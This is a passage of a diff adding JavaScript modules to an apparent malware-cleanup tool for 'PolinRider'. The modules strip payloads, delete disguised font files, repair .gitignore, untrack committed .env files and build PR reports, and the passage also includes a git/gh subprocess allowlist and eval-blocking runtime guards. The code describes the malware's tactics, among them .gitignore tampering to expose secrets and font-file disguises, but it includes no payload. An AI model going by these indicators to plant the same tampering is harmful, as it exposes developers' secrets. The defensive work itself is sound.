throw fail(`unexpected character ${JSON.stringify(c)}`);
|
||||
}
|
||||
|
||||
try {
|
||||
skipWs();
|
||||
const ast = parseValue();
|
||||
skipWs();
|
||||
if (i < n) throw fail("trailing content after top-level value");
|
||||
return { ok: true, value: ast.value, ast, error: null };
|
||||
} catch (error) {
|
||||
return { ok: false, value: undefined, ast: null, error };
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Return the member's value Node for `key` on an object Node, or undefined.
|
||||
*/
|
||||
export function getMember(objectNode, key) {
|
||||
if (!objectNode || objectNode.type !== "object") return undefined;
|
||||
const m = objectNode.members.find((mem) => mem.key === key);
|
||||
return m ? m.valueNode : undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove the array elements at `indicesToRemove` from `text`, given the array's
|
||||
* AST Node. Removes each element together with one adjacent separator (the
|
||||
* comma + surrounding whitespace) by deleting the span up to the next element's
|
||||
* start — so the result stays valid JSON and the surviving elements keep their
|
||||
* exact source bytes. Overlapping spans (e.g. removing adjacent elements) are
|
||||
* merged before applying.
|
||||
*
|
||||
* @returns {string} the edited text
|
||||
*/
|
||||
export function removeArrayElements(text, arrayNode, indicesToRemove) {
|
||||
if (!arrayNode || arrayNode.type !== "array") {
|
||||
throw new Error("removeArrayElements: arrayNode must be an array Node");
|
||||
}
|
||||
const remove = new Set(indicesToRemove);
|
||||
const els = arrayNode.elements;
|
||||
const spans = [];
|
||||
for (let k = 0; k < els.length; k++) {
|
||||
if (!remove.has(k)) continue;
|
||||
if (k < els.length - 1) {
|
||||
spans.push([els[k].start, els[k + 1].start]); // element + trailing comma/ws
|
||||
} else if (k > 0) {
|
||||
spans.push([els[k - 1].end, els[k].end]); // leading comma/ws + last element
|
||||
} else {
|
||||
spans.push([els[k].start, els[k].end]); // sole element
|
||||
}
|
||||
}
|
||||
if (spans.length === 0) return text;
|
||||
|
||||
// Merge overlapping/adjacent spans, then delete from the end backward so
|
||||
// earlier offsets stay valid.
|
||||
spans.sort((a, b) => a[0] - b[0]);
|
||||
const merged = [spans[0].slice()];
|
||||
for (let s = 1; s < spans.length; s++) {
|
||||
const last = merged[merged.length - 1];
|
||||
if (spans[s][0] <= last[1]) last[1] = Math.max(last[1], spans[s][1]);
|
||||
else merged.push(spans[s].slice());
|
||||
}
|
||||
merged.sort((a, b) => b[0] - a[0]);
|
||||
let out = text;
|
||||
for (const [start, end] of merged) out = out.slice(0, start) + out.slice(end);
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
/**
|
||||
* Surgical remediation. Consumes a Findings report and removes ONLY what is
|
||||
* confirmed malicious, preserving legitimate code, tasks, launch configs, and
|
||||
* fonts. Every edit is re-verified against the current file content at apply
|
||||
* time, so a stale finding can never truncate the wrong bytes.
|
||||
*
|
||||
* dryRun=true records what WOULD change without touching any file.
|
||||
*
|
||||
* @typedef {Object} RemediationResult
|
||||
* @property {boolean} changed true iff files were actually modified/deleted
|
||||
* @property {boolean} dryRun
|
||||
* @property {Array} applied findings (or hygiene steps) that were acted on
|
||||
* @property {Array<{finding:Object, reason:string}>} skipped
|
||||
* @property {string[]} filesModified
|
||||
* @property {string[]} filesDeleted
|
||||
* @property {string[]} notes hygiene actions (gitignore, env untracking)
|
||||
*/
|
||||
|
||||
import fs from "node:fs/promises";
|
||||
import { existsSync } from "node:fs";
|
||||
import path from "node:path";
|
||||
import * as sig from "./signatures.js";
|
||||
import { locatePayloadOffset } from "./scanner.js";
|
||||
import { safeGit } from "./safe-exec.js";
|
||||
|
||||
/**
|
||||
* @param {string} repoDir
|
||||
* @param {import('./scanner.js').Findings} findings
|
||||
* @param {{ dryRun?: boolean, git?: Function }} [opts]
|
||||
* @returns {Promise<RemediationResult>}
|
||||
*/
|
||||
export async function remediate(repoDir, findings, opts = {}) {
|
||||
const { dryRun = false, git = safeGit } = opts;
|
||||
const result = {
|
||||
changed: false,
|
||||
dryRun,
|
||||
applied: [],
|
||||
skipped: [],
|
||||
filesModified: [],
|
||||
filesDeleted: [],
|
||||
notes: [],
|
||||
};
|
||||
|
||||
for (const f of findings.findings) {
|
||||
switch (f.action) {
|
||||
case "strip-js-payload":
|
||||
await stripJsPayload(repoDir, f, result, dryRun);
|
||||
break;
|
||||
case "remove-dir":
|
||||
await deleteDir(f, result, dryRun);
|
||||
break;
|
||||
case "delete-font":
|
||||
case "remove-artifact":
|
||||
await deleteFile(f, result, dryRun);
|
||||
break;
|
||||
case "remove-font-set":
|
||||
await deleteFileSet(f, result, dryRun);
|
||||
break;
|
||||
case "fix-gitignore":
|
||||
// handled by the always-on gitignore hygiene step below
|
||||
break;
|
||||
case "manual-review":
|
||||
result.skipped.push({ finding: f, reason: "manual review required — not auto-removed" });
|
||||
break;
|
||||
default:
|
||||
result.skipped.push({ finding: f, reason: `unknown action "${f.action}"` });
|
||||
}
|
||||
}
|
||||
|
||||
// Hygiene (idempotent): undo the malware's .gitignore tampering and unexpose
|
||||
// any committed secrets. Mirrors the original remediate.sh behavior.
|
||||
await hardenGitignore(repoDir, result, dryRun);
|
||||
await untrackEnvFiles(repoDir, result, dryRun, git);
|
||||
|
||||
result.changed =
|
||||
!dryRun && (result.filesModified.length > 0 || result.filesDeleted.length > 0);
|
||||
return result;
|
||||
}
|
||||
|
||||
function recordModified(result, file) {
|
||||
if (!result.filesModified.includes(file)) result.filesModified.push(file);
|
||||
}
|
||||
function recordDeleted(result, file) {
|
||||
if (!result.filesDeleted.includes(file)) result.filesDeleted.push(file);
|
||||
}
|
||||
|
||||
// ─── strip-js-payload ────────────────────────────────────────────────────────────
|
||||
|
||||
async function stripJsPayload(repoDir, f, result, dryRun) {
|
||||
const absPath = f.edit?.absPath ?? path.join(repoDir, f.file);
|
||||
let text;
|
||||
try {
|
||||
text = await fs.readFile(absPath, "utf8");
|
||||
} catch {
|
||||
result.skipped.push({ finding: f, reason: "file unreadable" });
|
||||
return;
|
||||
}
|
||||
// Re-locate against current content rather than trusting the stored offset.
|
||||
const variant = sig.JS_VARIANTS.find((v) => v.id === f.edit?.variantId);
|
||||
const offset = variant ? locatePayloadOffset(text, variant) : f.edit?.offset ?? -1;
|
||||
if (!(offset > 0) || offset > text.length) {
|
||||
result.skipped.push({ finding: f, reason: "could not locate payload start safely" });
|
||||
return;
|
||||
}
|
||||
const kept = text.slice(0, offset).replace(/\s+$/, "");
|
||||
if (kept.length === 0) {
|
||||
result.skipped.push({ finding: f, reason: "stripping would empty the file" });
|
||||
return;
|
||||
}
|
||||
if (!dryRun) await fs.writeFile(absPath, kept + "\n", "utf8");
|
||||
result.applied.push(f);
|
||||
recordModified(result, f.file);
|
||||
}
|
||||
|
||||
// ─── remove-dir (whole .vscode / fonts directory) ───────────────────────────────
|
||||
|
||||
async function deleteDir(f, result, dryRun) {
|
||||
const absPath = f.edit?.absPath;
|
||||
if (!absPath || !existsSync(absPath)) {
|
||||
result.skipped.push({ finding: f, reason: "already gone" });
|
||||
return;
|
||||
}
|
||||
if (!dryRun) await fs.rm(absPath, { recursive: true, force: true });
|
||||
result.applied.push(f);
|
||||
recordDeleted(result, f.file);
|
||||
}
|
||||
|
||||
// ─── delete-font / remove-artifact ───────────────────────────────────────────────
|
||||
|
||||
async function deleteFile(f, result, dryRun) {
|
||||
const absPath = f.edit?.absPath;
|
||||
if (!absPath || !existsSync(absPath)) {
|
||||
result.skipped.push({ finding: f, reason: "already gone" });
|
||||
return;
|
||||
}
|
||||
if (!dryRun) await fs.rm(absPath, { force: true });
|
||||
result.applied.push(f);
|
||||
recordDeleted(result, f.file);
|
||||
}
|
||||
|
||||
// ─── remove-font-set (carrier + its fa-* disguise siblings + README) ─────────────
|
||||
//
|
||||
// Removes a specific set of files inside a fonts/ dir while preserving the clean
|
||||
// fonts that share it. Each path is deleted individually and recorded by its
|
||||
// repo-relative name.
|
||||
|
||||
async function deleteFileSet(f, result, dryRun) {
|
||||
const removals = Array.isArray(f.edit?.removals) ? f.edit.removals : [];
|
||||
let any = false;
|
||||
for (const { abs, rel } of removals) {
|
||||
if (!abs || !existsSync(abs)) continue;
|
||||
if (!dryRun) await fs.rm(abs, { force: true });
|
||||
recordDeleted(result, rel);
|
||||
any = true;
|
||||
}
|
||||
if (any) result.applied.push(f);
|
||||
else result.skipped.push({ finding: f, reason: "already gone" });
|
||||
}
|
||||
|
||||
// ─── .gitignore hygiene ──────────────────────────────────────────────────────────
|
||||
|
||||
async function hardenGitignore(repoDir, result, dryRun) {
|
||||
const file = path.join(repoDir, ".gitignore");
|
||||
let content = "";
|
||||
try {
|
||||
content = await fs.readFile(file, "utf8");
|
||||
} catch {
|
||||
content = "";
|
||||
}
|
||||
let lines = content.length ? content.split(/\r?\n/) : [];
|
||||
const original = lines.join("\n");
|
||||
|
||||
// 1. Remove every malware-injected line (config.bat, temp_*.bat, branch_structure.json).
|
||||
lines = lines.filter((l) => !sig.GITIGNORE_INJECTED.includes(l.trim()));
|
||||
// 2. Ensure standard .env patterns are ignored (malware removes them to expose secrets).
|
||||
const present = new Set(lines.map((l) => l.trim()));
|
||||
for (const pat of sig.ENV_PATTERNS) {
|
||||
if (!present.has(pat)) {
|
||||
lines.push(pat);
|
||||
present.add(pat);
|
||||
}
|
||||
}
|
||||
const next = lines.join("\n");
|
||||
if (next === original) return; // nothing to change
|
||||
|
||||
if (!dryRun) {
|
||||
await fs.writeFile(file, next.endsWith("\n") ? next : next + "\n", "utf8");
|
||||
}
|
||||
recordModified(result, ".gitignore");
|
||||
result.notes.push(
|
||||
`${dryRun ? "would remove" : "removed"} malware-injected entries from .gitignore and ensure${
|
||||
dryRun ? "" : "d"
|
||||
} .env patterns are ignored`,
|
||||
);
|
||||
}
|
||||
|
||||
// ─── committed .env untracking ─────────────────────────────────────────────────────
|
||||
|
||||
async function untrackEnvFiles(repoDir, result, dryRun, git) {
|
||||
if (!existsSync(path.join(repoDir, ".git"))) return;
|
||||
const literals = sig.ENV_PATTERNS.filter((p) => !p.includes("*"));
|
||||
for (const pat of literals) {
|
||||
if (!existsSync(path.join(repoDir, pat))) continue;
|
||||
const tracked = await git(["-C", repoDir, "ls-files", "--error-unmatch", pat]);
|
||||
if (tracked.exitCode !== 0) continue; // not committed → nothing to untrack
|
||||
if (dryRun) {
|
||||
result.notes.push(`would untrack ${pat} from the git index`);
|
||||
continue;
|
||||
}
|
||||
const rm = await git(["-C", repoDir, "rm", "--cached", "--force", pat]);
|
||||
if (rm.exitCode === 0) {
|
||||
result.notes.push(`untracked ${pat} from the git index`);
|
||||
recordModified(result, pat);
|
||||
}
|
||||
}
|
||||
}
|
||||
+172
@@ -0,0 +1,172 @@
|
||||
/**
|
||||
* Rendering helpers: turn a Findings report + RemediationResult into console
|
||||
* lines and a Markdown PR body. Pure string building — no I/O, no styling
|
||||
* dependency (the orchestrator applies colors).
|
||||
*/
|
||||
|
||||
const PR_TITLE = "security: remove PolinRider malware artifacts";
|
||||
|
||||
/** Plain lines describing what the scanner found (for console output). */
|
||||
export function findingLines(findings) {
|
||||
return findings.findings.map((f) => {
|
||||
const tag = f.contentConfirmed ? "[confirmed]" : "[review]";
|
||||
return `${tag} ${f.file}: ${f.description}`;
|
||||
});
|
||||
}
|
||||
|
||||
/** Plain lines describing what remediation did (or would do). */
|
||||
export function resultLines(result) {
|
||||
const verb = result.dryRun ? "would " : "";
|
||||
const lines = [];
|
||||
for (const f of result.applied) {
|
||||
lines.push(`${verb}fixed ${f.file}: ${f.description ?? f.action}`);
|
||||
}
|
||||
for (const n of result.notes) lines.push(n);
|
||||
for (const s of result.skipped) {
|
||||
lines.push(`skipped ${s.finding.file}: ${s.reason}`);
|
||||
}
|
||||
return lines;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build a Markdown PR body that lists exactly what changed, plus a manual-review
|
||||
* section. Replaces the old static PR_BODY so reviewers see a precise diff.
|
||||
*/
|
||||
export function buildPrBody({ findings, result }) {
|
||||
const out = [];
|
||||
out.push("## PolinRider malware cleanup");
|
||||
out.push("");
|
||||
out.push(
|
||||
"Automatically generated by polinrider-remover. Every change below was confirmed by a known PolinRider signature. The scanner reads files as inert text and never executes them.",
|
||||
);
|
||||
out.push("");
|
||||
|
||||
const REMOVAL_ACTIONS = new Set(["remove-dir", "remove-font-set", "delete-font", "remove-artifact"]);
|
||||
const fixed = [];
|
||||
for (const f of result.applied) {
|
||||
const what = REMOVAL_ACTIONS.has(f.action) || result.filesDeleted.includes(f.file) ? "removed" : "cleaned";
|
||||
fixed.push(`- \`${f.file}\`: ${what} — ${f.description ?? f.action}`);
|
||||
}
|
||||
for (const n of result.notes) fixed.push(`- ${n}`);
|
||||
|
||||
if (fixed.length) {
|
||||
out.push("### Removed / fixed");
|
||||
out.push(...fixed);
|
||||
out.push("");
|
||||
}
|
||||
|
||||
const review = [
|
||||
...findings.manualReview.map((m) => `- ${m}`),
|
||||
...result.skipped.map((s) => `- \`${s.finding.file}\`: ${s.reason}`),
|
||||
];
|
||||
if (review.length) {
|
||||
out.push("### Needs manual review");
|
||||
out.push(...review);
|
||||
out.push("");
|
||||
}
|
||||
|
||||
out.push(
|
||||
"> ⚠️ Also check the affected developer's machine for the initial dropper (a malicious npm global package or VS Code extension), and rotate any secrets that may have been exposed via committed `.env` files.",
|
||||
);
|
||||
out.push("");
|
||||
return out.join("\n");
|
||||
}
|
||||
|
||||
export { PR_TITLE };
|
||||
|
||||
// ─── Whole-run report (persisted to the reports volume) ─────────────────────────
|
||||
//
|
||||
// A `run` object is assembled by the orchestrator:
|
||||
// { scannedAt, scannedAtHuman, account:{kind,owner}, dryRun, autoMerge, mergeMethod,
|
||||
// totals:{total,clean,infected,remediated,merged,prOpened,manualOnly,errors},
|
||||
// repos:[ { repo, severity, findings:[{file,action,confidence,contentConfirmed,description}],
|
||||
// deleted:[], modified:[], notes:[], manualReview:[],
|
||||
// pr:{url,merged,mergeError}|null, error:string|null } ] }
|
||||
|
||||
/** Machine-readable run report. */
|
||||
export function buildRunJson(run) {
|
||||
return { schema: "polinrider-run/1", ...run };
|
||||
}
|
||||
|
||||
function repoChangeSummary(r) {
|
||||
const parts = [];
|
||||
if (r.deleted?.length) parts.push(`removed: ${r.deleted.join(", ")}`);
|
||||
if (r.modified?.length) parts.push(`cleaned: ${r.modified.join(", ")}`);
|
||||
for (const n of r.notes ?? []) parts.push(n);
|
||||
return parts.join(" · ") || "—";
|
||||
}
|
||||
|
||||
/** Human-readable Markdown run report (clickable PR links + per-repo trace). */
|
||||
export function buildRunMarkdown(run) {
|
||||
const t = run.totals;
|
||||
const out = [];
|
||||
out.push("# PolinRider Malware Scan — Remediation Report");
|
||||
out.push("");
|
||||
out.push(`**Last scanned:** ${run.scannedAtHuman ?? run.scannedAt}`);
|
||||
out.push(`**Account:** ${run.account.kind} \`${run.account.owner}\``);
|
||||
const modes = [];
|
||||
if (run.dryRun) modes.push("DRY RUN — no changes written");
|
||||
modes.push(run.autoMerge ? `auto-merge: on (${run.mergeMethod})` : "auto-merge: off");
|
||||
out.push(`**Mode:** ${modes.join(" · ")}`);
|
||||
out.push("");
|
||||
|
||||
out.push("## Summary");
|
||||
out.push("");
|
||||
out.push("| Metric | Count |");
|
||||
out.push("| --- | ---: |");
|
||||
out.push(`| Repos scanned | ${t.total} |`);
|
||||
out.push(`| Clean | ${t.clean} |`);
|
||||
out.push(`| Infected | ${t.infected} |`);
|
||||
out.push(`| Remediated | ${t.remediated} |`);
|
||||
out.push(`| PRs opened | ${t.prOpened} |`);
|
||||
if (run.autoMerge) out.push(`| PRs merged | ${t.merged} |`);
|
||||
out.push(`| Needs manual review | ${t.manualOnly} |`);
|
||||
out.push(`| Errors | ${t.errors} |`);
|
||||
out.push("");
|
||||
|
||||
const withPr = run.repos.filter((r) => r.pr && r.pr.url);
|
||||
if (withPr.length) {
|
||||
out.push(`## Pull requests (${withPr.length})`);
|
||||
out.push("");
|
||||
out.push("Review and merge the PR for the project(s) you work on.");
|
||||
out.push("");
|
||||
out.push("| Repository | Pull request | Status | Changes |");
|
||||
out.push("| --- | --- | --- | --- |");
|
||||
for (const r of withPr) {
|
||||
const name = r.repo.split("/")[1] ?? r.repo;
|
||||
const num = r.pr.url.split("/pull/")[1] ?? "PR";
|
||||
const status = r.pr.merged ? "✅ merged" : r.pr.mergeError ? "⚠️ merge blocked" : "open";
|
||||
out.push(
|
||||
`| [${name}](https://github.com/${r.repo}) | [#${num}](${r.pr.url}) | ${status} | ${repoChangeSummary(r)} |`,
|
||||
);
|
||||
}
|
||||
out.push("");
|
||||
}
|
||||
|
||||
const attention = run.repos.filter(
|
||||
(r) =>
|
||||
r.error ||
|
||||
(r.pr && r.pr.mergeError) ||
|
||||
(r.manualReview && r.manualReview.length) ||
|
||||
(r.severity === "infected" && !(r.pr && r.pr.url) && !run.dryRun),
|
||||
);
|
||||
if (attention.length) {
|
||||
out.push("## Needs attention");
|
||||
out.push("");
|
||||
for (const r of attention) {
|
||||
const bits = [];
|
||||
if (r.error) bits.push(`error: ${r.error}`);
|
||||
if (r.pr && r.pr.mergeError) bits.push(`auto-merge blocked: ${r.pr.mergeError}`);
|
||||
if (r.manualReview?.length) bits.push(`manual review: ${r.manualReview.join("; ")}`);
|
||||
if (r.severity === "infected" && !(r.pr && r.pr.url) && !run.dryRun && !r.error)
|
||||
bits.push("infected but no automated fix applied");
|
||||
out.push(`- **${r.repo}** — ${bits.join(" · ").replace(/\s+/g, " ").trim()}`);
|
||||
}
|
||||
out.push("");
|
||||
}
|
||||
|
||||
out.push("---");
|
||||
out.push(`_Generated by polinrider-remover at ${run.scannedAt}._`);
|
||||
out.push("");
|
||||
return out.join("\n");
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
/**
|
||||
* Subprocess allowlist — the single choke point for every external process.
|
||||
*
|
||||
* The V8 flag (--disallow-code-generation-from-strings) cannot stop a spawned
|
||||
* `node -e "<payload>"` or `bash -c "<payload>"`; this wrapper can, and does, by
|
||||
* permitting ONLY `git` and `gh` with an allowlisted set of subcommands. Every
|
||||
* subprocess in the tool MUST go through here — never call execa/spawn directly.
|
||||
*
|
||||
* It also hardens git itself: hooks disabled, system/global config ignored,
|
||||
* non-interactive, and `--no-verify` on commit/push — so a repo can never get
|
||||
* code to run via a git hook during clone/commit/push.
|
||||
*/
|
||||
|
||||
import { execa } from "execa";
|
||||
import os from "node:os";
|
||||
|
||||
// command → set of allowed first subcommands.
|
||||
const ALLOWED = new Map([
|
||||
[
|
||||
"git",
|
||||
new Set([
|
||||
"clone",
|
||||
"config",
|
||||
"checkout",
|
||||
"add",
|
||||
"diff",
|
||||
"commit",
|
||||
"push",
|
||||
"rm",
|
||||
"reflog",
|
||||
"rev-parse",
|
||||
"status",
|
||||
"ls-files",
|
||||
]),
|
||||
],
|
||||
["gh", new Set(["api", "pr"])],
|
||||
]);
|
||||
|
||||
// git global options that consume the FOLLOWING token as their value.
|
||||
const GIT_VALUE_OPTS = new Set([
|
||||
"-C",
|
||||
"-c",
|
||||
"--git-dir",
|
||||
"--work-tree",
|
||||
"--namespace",
|
||||
"--exec-path",
|
||||
]);
|
||||
|
||||
// Disable hooks on every git call. os.devNull is not a hooks directory, so git
|
||||
// finds no hooks and runs none. Cross-platform (/dev/null | \\.\nul).
|
||||
const HOOK_GUARD = ["-c", `core.hooksPath=${os.devNull}`];
|
||||
|
||||
export class CommandNotAllowedError extends Error {
|
||||
constructor(message) {
|
||||
super(message);
|
||||
this.name = "CommandNotAllowedError";
|
||||
}
|
||||
}
|
||||
|
||||
/** Return the first non-option token (the subcommand), skipping value-options. */
|
||||
function firstSubcommand(args, valueOpts) {
|
||||
for (let i = 0; i < args.length; i++) {
|
||||
const a = args[i];
|
||||
if (typeof a !== "string") continue;
|
||||
if (!a.startsWith("-")) return a;
|
||||
if (a.includes("=")) continue; // --opt=value is a single token
|
||||
if (valueOpts && valueOpts.has(a)) i++; // option consumes the next token
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a command + args against the allowlist. Throws CommandNotAllowedError
|
||||
* synchronously on any violation. Exported so callers/tests can pre-validate.
|
||||
*/
|
||||
export function assertAllowed(cmd, args = []) {
|
||||
if (typeof cmd !== "string" || cmd.length === 0) {
|
||||
throw new CommandNotAllowedError("command must be a non-empty string");
|
||||
}
|
||||
if (cmd.includes("/") || cmd.includes("\\")) {
|
||||
throw new CommandNotAllowedError(
|
||||
`refusing path-bearing command "${cmd}" — only the bare names "git"/"gh" are allowed`,
|
||||
);
|
||||
}
|
||||
if (!ALLOWED.has(cmd)) {
|
||||
throw new CommandNotAllowedError(
|
||||
`command "${cmd}" is not on the allowlist (allowed: git, gh)`,
|
||||
);
|
||||
}
|
||||
const sub = firstSubcommand(args, cmd === "git" ? GIT_VALUE_OPTS : null);
|
||||
if (!sub || !ALLOWED.get(cmd).has(sub)) {
|
||||
throw new CommandNotAllowedError(
|
||||
`subcommand "${sub ?? "(none)"}" is not allowed for "${cmd}"`,
|
||||
);
|
||||
}
|
||||
return { cmd, sub };
|
||||
}
|
||||
|
||||
/**
|
||||
* Run an allowlisted command. Not declared `async` so allowlist violations throw
|
||||
* synchronously (before any process is spawned); on success it returns execa's
|
||||
* promise. Defaults to reject:false so callers inspect `exitCode` themselves.
|
||||
*/
|
||||
export function safeExec(cmd, args = [], opts = {}) {
|
||||
assertAllowed(cmd, args);
|
||||
return execa(cmd, args, { reject: false, shell: false, ...opts });
|
||||
}
|
||||
|
||||
function gitEnv(extra) {
|
||||
return {
|
||||
...extra,
|
||||
GIT_CONFIG_NOSYSTEM: "1", // ignore /etc/gitconfig
|
||||
GIT_CONFIG_GLOBAL: os.devNull, // ignore ~/.gitconfig (no hijacked hooksPath)
|
||||
GIT_TERMINAL_PROMPT: "0", // never block on an interactive credential prompt
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the final git argv: prepend hook-disabling config and append
|
||||
* `--no-verify` to commit/push. Pure — exported for testing.
|
||||
*/
|
||||
export function buildGitArgs(args = []) {
|
||||
const finalArgs = [...HOOK_GUARD, ...args];
|
||||
const sub = firstSubcommand(finalArgs, GIT_VALUE_OPTS);
|
||||
if ((sub === "commit" || sub === "push") && !finalArgs.includes("--no-verify")) {
|
||||
finalArgs.push("--no-verify");
|
||||
}
|
||||
return finalArgs;
|
||||
}
|
||||
|
||||
/**
|
||||
* Run git with hooks disabled and config sanitized. The GH token is
|
||||
* intentionally NOT placed in git's environment — clone/push carry auth in the
|
||||
* tokenized URL instead.
|
||||
*/
|
||||
export function safeGit(args = [], opts = {}) {
|
||||
return safeExec("git", buildGitArgs(args), { ...opts, env: gitEnv(opts.env) });
|
||||
}
|
||||
|
||||
/**
|
||||
* Run gh with the GitHub token scoped to THIS process only (not leaked to git or
|
||||
* any other child). Token defaults to GH_TOKEN but can be injected for testing.
|
||||
*/
|
||||
export function safeGh(args = [], opts = {}, token = process.env.GH_TOKEN) {
|
||||
const env = { ...opts.env };
|
||||
if (token) {
|
||||
env.GH_TOKEN = token;
|
||||
env.GITHUB_TOKEN = token;
|
||||
}
|
||||
return safeExec("gh", args, { ...opts, env });
|
||||
}
|
||||
+142
@@ -0,0 +1,142 @@
|
||||
/**
|
||||
* Runtime safety guards — defense-in-depth so the PolinRider payload can never
|
||||
* execute, even if it somehow reaches a code path.
|
||||
*
|
||||
* This module installs its guards as an IMPORT SIDE EFFECT and MUST be the very
|
||||
* first import of the entry point (`src/index.js`). Because ESM hoists imports,
|
||||
* "first import line" is sufficient — the guards run before any other module's
|
||||
* top-level code.
|
||||
*
|
||||
* Layering (see the project plan):
|
||||
* • Layer 2 (the V8 flag `--disallow-code-generation-from-strings`, applied by
|
||||
* bin/polinrider.js) is the AUTHORITATIVE block for eval / Function. It is
|
||||
* verified to make eval(), new Function(), and the Async/Generator function
|
||||
* constructors throw EvalError.
|
||||
* • This module is the Layer-3 FALLBACK for when the process is launched
|
||||
* WITHOUT that flag (e.g. `node src/index.js`, or an `import` from a test
|
||||
* runner that wasn't started with the flag). It neutralizes the same escape
|
||||
* hatches in-process, plus `node:vm` and `process.binding`, which the flag
|
||||
* does NOT cover.
|
||||
*
|
||||
* The real protection is the architectural invariant: target file content is
|
||||
* only ever read as an inert string/Buffer and pattern-matched — never passed
|
||||
* to require/import/eval/Function/vm/child_process. These guards exist so a
|
||||
* mistake can't become an execution.
|
||||
*/
|
||||
|
||||
import Module from "node:module";
|
||||
|
||||
const ERR = "PolinRider safety:";
|
||||
|
||||
function makeBlocked(what) {
|
||||
return function blocked() {
|
||||
throw new EvalError(`${ERR} dynamic code generation via ${what} is disabled`);
|
||||
};
|
||||
}
|
||||
|
||||
function lockGlobal(name, value) {
|
||||
try {
|
||||
Object.defineProperty(globalThis, name, {
|
||||
value,
|
||||
configurable: false,
|
||||
writable: false,
|
||||
enumerable: false,
|
||||
});
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// ─── 1. Block eval() (direct and indirect) ─────────────────────────────────────
|
||||
// Replacing globalThis.eval blocks both `eval(x)` and `(0, eval)(x)`, since both
|
||||
// resolve the global binding at call time.
|
||||
lockGlobal("eval", makeBlocked("eval"));
|
||||
|
||||
// ─── 2. Block the Function constructor family ──────────────────────────────────
|
||||
// Preserve Function.prototype so `instanceof`, `.bind`, `.call`, etc. keep
|
||||
// working; only the string→code construction paths are neutralized.
|
||||
const RealFunction = Function;
|
||||
const BlockedFunction = makeBlocked("Function");
|
||||
try {
|
||||
Object.defineProperty(BlockedFunction, "prototype", {
|
||||
value: RealFunction.prototype,
|
||||
writable: false,
|
||||
});
|
||||
} catch {
|
||||
/* prototype already non-configurable on some engines — fine */
|
||||
}
|
||||
lockGlobal("Function", BlockedFunction);
|
||||
|
||||
// Close the `(function(){}).constructor("code")` escape, plus the async /
|
||||
// generator equivalents, by pointing each prototype's `.constructor` at the
|
||||
// blocked stub. Wrapped per-item so one failure can't abort the rest.
|
||||
function blockConstructorOf(sample) {
|
||||
try {
|
||||
const proto = Object.getPrototypeOf(sample);
|
||||
Object.defineProperty(proto, "constructor", {
|
||||
value: BlockedFunction,
|
||||
configurable: true,
|
||||
writable: true,
|
||||
});
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
blockConstructorOf(function () {});
|
||||
blockConstructorOf(async function () {});
|
||||
blockConstructorOf(function* () {});
|
||||
blockConstructorOf(async function* () {});
|
||||
|
||||
// ─── 3. Block the node:vm module ───────────────────────────────────────────────
|
||||
// The V8 flag does NOT cover vm.runInNewContext / runInThisContext /
|
||||
// compileFunction (verified). Reaching vm requires attacker code to already be
|
||||
// executing — which the allowlist + eval block prevent — but we close the most
|
||||
// likely path (a malicious CommonJS dependency calling require('vm')).
|
||||
const originalLoad = Module._load;
|
||||
Module._load = function patchedLoad(request, ...rest) {
|
||||
if (request === "vm" || request === "node:vm") {
|
||||
throw new Error(`${ERR} the node:vm module is blocked`);
|
||||
}
|
||||
return originalLoad.call(this, request, ...rest);
|
||||
};
|
||||
// NOTE: dynamic ESM `import('node:vm')` is not interceptable in-process without a
|
||||
// loader hook (cross-version-fragile on Node 20.0–20.5). Documented residual —
|
||||
// it is unreachable without already-executing attacker ESM, which the other
|
||||
// layers prevent.
|
||||
|
||||
// ─── 4. Neutralize the legacy process.binding escape hatch ──────────────────────
|
||||
const blockBinding = function blockedBinding() {
|
||||
throw new Error(`${ERR} process.binding is blocked`);
|
||||
};
|
||||
for (const key of ["binding", "_linkedBinding"]) {
|
||||
try {
|
||||
Object.defineProperty(process, key, {
|
||||
value: blockBinding,
|
||||
configurable: false,
|
||||
writable: false,
|
||||
});
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Diagnostic helper (used by tests and the orchestrator banner). Returns a
|
||||
* snapshot of which guards are active and whether the V8 codegen flag is on.
|
||||
*/
|
||||
export function hardeningStatus() {
|
||||
let evalBlocked = false;
|
||||
try {
|
||||
// eslint-disable-next-line no-eval
|
||||
globalThis.eval("1+1");
|
||||
} catch {
|
||||
evalBlocked = true;
|
||||
}
|
||||
return {
|
||||
evalBlocked,
|
||||
codegenFlag: process.execArgv.includes("--disallow-code-generation-from-strings") ||
|
||||
(process.env.NODE_OPTIONS || "").includes("--disallow-code-generation-from-strings"),
|
||||
hardenedLaunch: process.env.POLINRIDER_HARDENED === "1",
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,93 @@
|
||||
/**
|
||||
* Build a minimal SARIF 2.1.0 report from a Findings object so consumers can
|
||||
* upload results to GitHub code scanning (github/codeql-action/upload-sarif) and
|
||||
* see them in the Security tab / inline on the PR.
|
||||
*
|
||||
* Pure with respect to the repo: it only reads files to convert a js-payload's
|
||||
* char offset into a 1-based line. Every other finding is file-level (startLine 1).
|
||||
*/
|
||||
|
||||
import fs from "node:fs";
|
||||
import path from "node:path";
|
||||
|
||||
const PROJECT_URL = "https://github.com/RMSoft-ltd/polinrider-cleanup";
|
||||
const levelOf = (f) => (f.contentConfirmed ? "error" : "warning");
|
||||
|
||||
/** 1-based start line for findings that carry a char offset, else 1. */
|
||||
function lineFor(repoDir, f) {
|
||||
const offset = f.edit?.offset;
|
||||
if (!(offset > 0) || !repoDir) return 1;
|
||||
try {
|
||||
const text = fs.readFileSync(path.join(repoDir, f.file), "utf8");
|
||||
if (offset > text.length) return 1;
|
||||
return text.slice(0, offset).split("\n").length;
|
||||
} catch {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
/** Repo-root-relative, forward-slashed URI (SARIF artifactLocation). */
|
||||
function uriFor(repoRoot, repoDir, relFile) {
|
||||
const abs = path.join(repoDir || repoRoot, relFile);
|
||||
